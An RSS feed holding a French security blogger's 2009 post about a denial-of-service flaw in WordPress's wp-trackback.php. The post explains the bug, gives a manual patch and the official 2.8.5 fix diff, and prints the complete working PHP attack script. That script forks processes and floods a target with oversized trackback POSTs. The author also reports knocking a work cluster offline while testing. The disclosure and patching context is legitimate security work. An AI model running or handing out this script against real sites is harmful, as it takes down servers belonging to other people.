<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; ddos</title>
	<atom:link href="http://www.john-jean.com/blog/tag/ddos/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>L&#039;actualité d&#039;un consultant en sécurité informatique</description>
	<lastBuildDate>Tue, 29 Nov 2011 14:42:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress</title>
		<link>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254#comments</comments>
		<pubDate>Mon, 19 Oct 2009 22:29:41 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécu]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[ressource]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress resource exhaustion]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</guid>
		<description><![CDATA[36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt. 4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez ...]]></description>
			<content:encoded><![CDATA[<p>36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt.</p>
<p>4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.</p>
<p>01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez donc pour les fautes d&#8217;orthographes du billet cet article c&#8217;est un peu une &laquo;&nbsp;Breaking News&nbsp;&raquo;.</p>
<p><span id="more-254"></span></p>
<p>Aujourd&#8217;hui a donc été release un &laquo;&nbsp;WordPress Exhaustion Exploit&nbsp;&raquo;, c&#8217;est une appellation relativement savante pour dire que ca peut faire sauter les services d&#8217;un serveur en 36 lignes de code. Je viens de le tester sur l&#8217;un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n&#8217;est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.</p>
<p>L&#8217;attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c&#8217;est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.</p>
<p>La faille en elle-même c&#8217;est quoi ? Elle se situe au niveau de la gestion de l&#8217;encodage du titre.</p>
<p><code>if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks<br />
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);<br />
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);<br />
}<br />
</code></p>
<p>En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:</p>
<p><code>mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)</code></p>
<p>Dans charset_d_origine on peut spécifier plusieurs charsets. Si l&#8217;on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu&#8217;elle a trouvé le meilleur, elle va transformer chaine_que_l&#8217;on_veut_convertir en nouveau_charset.</p>
<p>Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu&#8217;il y a 23 333 charsets d&#8217;origine possible (&laquo;&nbsp;UTF-8,&nbsp;&raquo; fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l&#8217;on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l&#8217;on envoie la requête une fois, le serveur la traite, maintenant si on répète l&#8217;opération sur un délai très court le serveur apprécie moins. C&#8217;est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.</p>
<pre class="php">&lt;?
if(count($argv) &lt; 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) &lt; 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&amp;url=www.example.com';
$str .= '&amp;title='.$b;
$str .= '&amp;blog_name=lol';
$str .= '&amp;excerpt=lol';
for($n = 0; $n &lt;= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?&gt;</pre>
<p>Pour l&#8217;enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:</p>
<p><code>$charset = $_POST['charset'];</code></p>
<p>et la remplacer par:</p>
<p><code>$charset = str_replace(”,”,”",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</code></p>
<p>Ce patch permet d&#8217;enlever les virgules, du coup le script n&#8217;a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L&#8217;autre façon de passer un charset_d_origine à la fonction c&#8217;est un tableau, là on va pas faire dans la dentelle, si c&#8217;est un tableau, on exit.</p>
<p>Sinon vous pouvez toujours deny from all wp-trackback.php ;-)</p>
<p>L&#8217;exploit a été posté sur Full-Disclosure aujourd&#8217;hui à 14h30. Il semble avoir été découvert par <a href="http://rooibo.wordpress.com/" target="_blank">rooibo</a> et amélioré par <a href="http://blog.zerial.org" target="_blank">Zerial</a>. Ce n&#8217;est vraiment pas impossible que d&#8217;ici quelques jours de joyeux lurons s&#8217;amusent à attaquer les WordPress des bloggeurs &laquo;&nbsp;influents&nbsp;&raquo; les plus connus. Rooibo explique sur son blog qu&#8217;il a avertit l&#8217;équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.</p>
<p>Le correctif proposé est celui de roobio, je pense qu&#8217;il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu&#8217;un str_replace sur un array conduit à du path disclosure.</p>
<p><strong>Rapide update: WordPress vient de release la version 2.8.5.</strong></p>
<p>Voici le diff sur le fichier qui nous intéresse:<br />
<code>john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ &gt; diff.diff<br />
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php<br />
--- wordpress-2.8.4/wp-trackback.php	2008-05-25 17:50:15.000000000 +0200<br />
+++ wordpress-2.8.5/wp-trackback.php	2009-10-19 17:10:59.000000000 +0200<br />
@@ -50,7 +50,7 @@<br />
$blog_name = stripslashes($_POST['blog_name']);</code><br />
<code><br />
if ($charset)<br />
-	$charset = strtoupper( trim($charset) );<br />
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );<br />
else<br />
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';<br />
</code></p>
<p>Sinon j&#8217;ai fait le diff complet ici, car je ne trouve pas l&#8217;officiel chez WordPress: <a rel="nofollow" href="http://www.john-jean.com/blog/diffw84w85.diff">diff WordPress-2.8.4 WordPress 2.8.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>

